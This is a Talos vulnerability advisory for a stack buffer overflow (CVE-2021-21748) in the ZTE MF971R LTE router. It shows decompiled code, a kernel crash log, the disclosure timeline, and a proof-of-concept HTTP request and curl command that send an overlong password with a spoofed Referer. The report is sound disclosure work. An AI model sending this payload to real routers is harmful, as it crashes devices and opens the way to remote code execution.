Talos Vulnerability Report

TALOS-2021-1320

ZTE MF971R ADB_MODE_SWITCH stack-based buffer overflow vulnerability

October 18, 2021
CVE Number

CVE-2021-21748

Summary

An exploitable Stack Based Buffer Overflow vulnerability exists in ZTE MF971R LTE router version wa_inner_version:BD_PLKPLMF971R1V1.0.0B06. A specially-crafted HTTP request can cause a stack-based buffer overflow which can lead to remote code execution. An attacker needs to provide a URL to the victim to trigger the vulnerability.

Tested Versions

ZTE Corporation MF971R wa_inner_version:BD_LVWRGBMF971RV1.0.0B01
ZTE Corporation MF971R wa_inner_version:BD_PLKPLMF971R1V1.0.0B06
ZTE Corporation MF971R zte_topsw_goahead - MD5 B2176B393A97B5BA13791FC591D2BE3F
ZTE Corporation MF971R zte_topsw_goahead - MD5 bf5ada32c9e8c815bfd51bfb5b8391cb

Product URLs

https://www.ztedevices.com/pl/product/zte-mf971r/

CVSSv3 Score

9.6 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE

CWE-121 - Stack-based Buffer Overflow

Details

MF971R is a portable router with WIFI support and LTE/GSM modem.

This vulnerability is present in ADB_MODE_SWITCH API related code, which is a part of the ZTE MF971R web applications. A specially-crafted URL sent by an attacker and visited by a victim can lead to a stack-based buffer overflow and result in remote code execution.

A password parameter being a part of ADB_MODE_SWITCH API is not properly sanitized in a context of its length. Let us take a closer look at the vulnerable code:

Line 1 	int __fastcall handler_ADB_MODE_SWITCH(websRec *web)
Line 2 	{
Line 3 	  const char *password; // r5
Line 4 	  char *v4; // r1
Line 5 	  websRec *v5; // r0
Line 6 	  char cmd[272]; // [sp+8h] [bp-110h] BYREF
Line 7 
Line 8 	  memset(cmd, 0, 0x100u);
Line 9 	  if ( !web )
Line 10		return zte_syslog_append(6, 454435, 5302, 0, "wp is null.");
Line 11	  password = (const char *)get_value_of_param(web, "password", 378987);
Line 12	  zte_syslog_append(6, 454435, 5307, 0, "zte_device_adb_mode_switch:[password] is [%s].", password);
Line 13	  if ( *password )
Line 14	  {
Line 15		if ( auth_mac((int)password) )

Following the password parameter further we land inside the auth_mac function of the libzteencrypt.so library:

Line 16	int __fastcall auth_mac(char *password)
Line 17	{
Line 18	  int v2; // r4
Line 19	  char *decrypted_password; // r5
Line 20	  size_t out_size; // [sp+4h] [bp-454h] BYREF
Line 21	  char mac[4]; // [sp+8h] [bp-450h] BYREF
Line 22	  char local_buff[60]; // [sp+Ch] [bp-44Ch] BYREF
Line 23	  char hex_password[1040]; // [sp+48h] [bp-410h] BYREF
Line 24
Line 25	  out_size = 0;
Line 26	  memset(hex_password, 0, 0x400u);
Line 27	  my_string_to_hex(password, hex_password, &out_size);

The vulnerability manifests directly inside the my_string_to_hex function:

B6CBF000 - Image Base
B6CBF860
Line 28	size_t __fastcall my_string_to_hex(const char *password, char *hex_password, size_t *out_size)
Line 29	{
Line 30		signed int offset; // r4
Line 31		size_t result; // r0
Line 32		signed int strlen_2; // r5
Line 33		int v9; // [sp+0h] [bp-20h] BYREF
Line 34		int byte; // [sp+4h] [bp-1Ch] BYREF
Line 35		
Line 36		offset = 0;
Line 37		v9 = 0;
Line 38		byte = 0;
Line 39		result = strlen(password);
Line 40		strlen_2 = result >> 1;
Line 41		*out_size = result >> 1;
Line 42		while ( offset < strlen_2 )
Line 43		{
Line 44			strncpy((char *)&v9, &password[2 * offset], 2u);
Line 45			result = sscanf((const char *)&v9, "%02X", &byte);
Line 46			hex_password[offset++] = byte;
Line 47		}
Line 48		return result;
Line 49	}

As we can see, at line 23 the hex_password buffer to which our data is passed via the password parameter will be copied/encoded. It can only contain 1040 characters. Because the data passed in the password parameter to my_string_to_hex is treated as ASCII hex (two input bytes are converted into one output byte), to overflow the hex_password buffer, the attacker needs to send at least 1040*2 characters. Tests have shown that using 2080 characters, we are able to overwrite the return address. The victim does not need to be logged-in to be affected by this vulnerability. The only constraint an attacker needs to pass is a referer check, which is easy to bypass and has been decribed in TALOS-2021-1317. That remote pre-auth stack-based buffer overflow gives to an attacker full control on return address overwrite and can be turned into arbitrary remote code execution.

Crash Information

Kernel panic - not syncing: Fatal sig=11 on 'zte_topsw_goahe' pid=729
[520668.743835]
[520668.752990] CPU: 0 PID: 729 Comm: zte_topsw_goahe Tainted: P             3.10.33 #1
[520668.760772] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[520668.769439] [<c001d338>] (show_stack+0x10/0x14) from [<c002d750>] (panic+0xfc/0x260)
[520668.777313] [<c002d750>] (panic+0xfc/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[520668.786315] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[520668.795745] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[520668.804473] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[520668.813171] EMMD: ready to perform memory dump
[520668.817749] ======== dump PCSR for cpu0 ========
[520668.822448] PCSR of cpu0 is 0xc0027880
[520668.826293] PCSR of cpu0 is 0xc00278b0
[520668.830169] PCSR of cpu0 is 0xc00278b0
[520668.834014] PCSR of cpu0 is 0xc00278b0
[520668.837890] PCSR of cpu0 is 0xc00278b0
[520668.841735] PCSR of cpu0 is 0xc00278b0
[520668.845581] PCSR of cpu0 is 0xc00278b0
[520668.849456] PCSR of cpu0 is 0xc00278b0
[520668.853607] Loading crashdump kernel...
[520668.857574]
[520668.859161] current proc: 729 zte_topsw_goahe
[520668.863616] -----------------------------------------------------------------------------------
[520668.872406]       pid     uTime    sTime    exec(ns)    stat   cpu   task_struct
[520668.879913] -----------------------------------------------------------------------------------
[520668.888793]      729   204759   101083  520668743011470 R(0)    0    c4156000 zte_topsw_goahe
[520668.897460] [<c001fa80>] (unwind_backtrace+0x0/0xf4) from [<c001d338>] (show_stack+0x10/0x14)
[520668.906127] [<c001d338>] (show_stack+0x10/0x14) from [<c04e4864>] (dump_task_info+0x104/0x14c)
[520668.914855] [<c04e4864>] (dump_task_info+0x104/0x14c) from [<c006fdec>] (panic_flush+0xbc/0x178)
[520668.923797] [<c006fdec>] (panic_flush+0xbc/0x178) from [<c00701f0>] (crash_kexec+0x10/0xa0)
[520668.932250] [<c00701f0>] (crash_kexec+0x10/0xa0) from [<c002d76c>] (panic+0x118/0x260)
[520668.940307] [<c002d76c>] (panic+0x118/0x260) from [<c003df30>] (get_signal_to_deliver+0x708/0x80c)
[520668.949401] [<c003df30>] (get_signal_to_deliver+0x708/0x80c) from [<c001ca90>] (do_signal+0x41c/0x4dc)
[520668.958831] [<c001ca90>] (do_signal+0x41c/0x4dc) from [<c001ccc0>] (do_work_pending+0x54/0xa4)
[520668.967559] [<c001ccc0>] (do_work_pending+0x54/0xa4) from [<c0009100>] (work_pending+0xc/0x20)
[520668.976348] -----------------------------------------------------------------------------------
[520669.119689] KERNEL-TEXT-CRC: orig/panic = 0x74c2/0x4493
[520669.124999] RAMDUMP STARTED
[520669.127899] RAMDUMP pa=0xe00400, signature 0x41434452 placed on va=0xc0e00400
[520669.135162] RAMDUMP DONE
[520669.137786] EMMD: done
[520669.140258]
[520669.140258] ---
[520669.140258] [KR] Panic in zte_topsw_goahe: Fatal sig=11 on 'zte_topsw_goahe' pid=729
[520669.140258] !Bad Kernel CRC!
[520669.140258] ---
[520669.140258]
[520669.157897] Rebooting in 3 seconds..
[520672.177337] do not hold CP in do_wdt_restart!!!
[520672.182159] Reboot failed -- System halted

Exploit Proof of Concept

Request 

POST /goform/goform_set_cmd_process HTTP/1.1
Host: 192.168.2.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Referer: http://evil.localdomain/127.0.0.1.html
Content-Length: 2438
Connection: close

goformId=ADB_MODE_SWITCH&password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

or

curl -v -i --referer http://evil.localdomain/127.0.0.1.html -d "goformId=ADB_MODE_SWITCH" -d "password=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "http://192.168.2.1/goform/goform_set_cmd_process"		

The attached HTML poc has a more realistic scenario where a user is redirected via a malicious webpage.

Timeline

2021-06-15 - Vendor disclosure
2021-09-14 - Disclosure extension granted
2021-10-15 - Vendor patched

2021-10-18 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.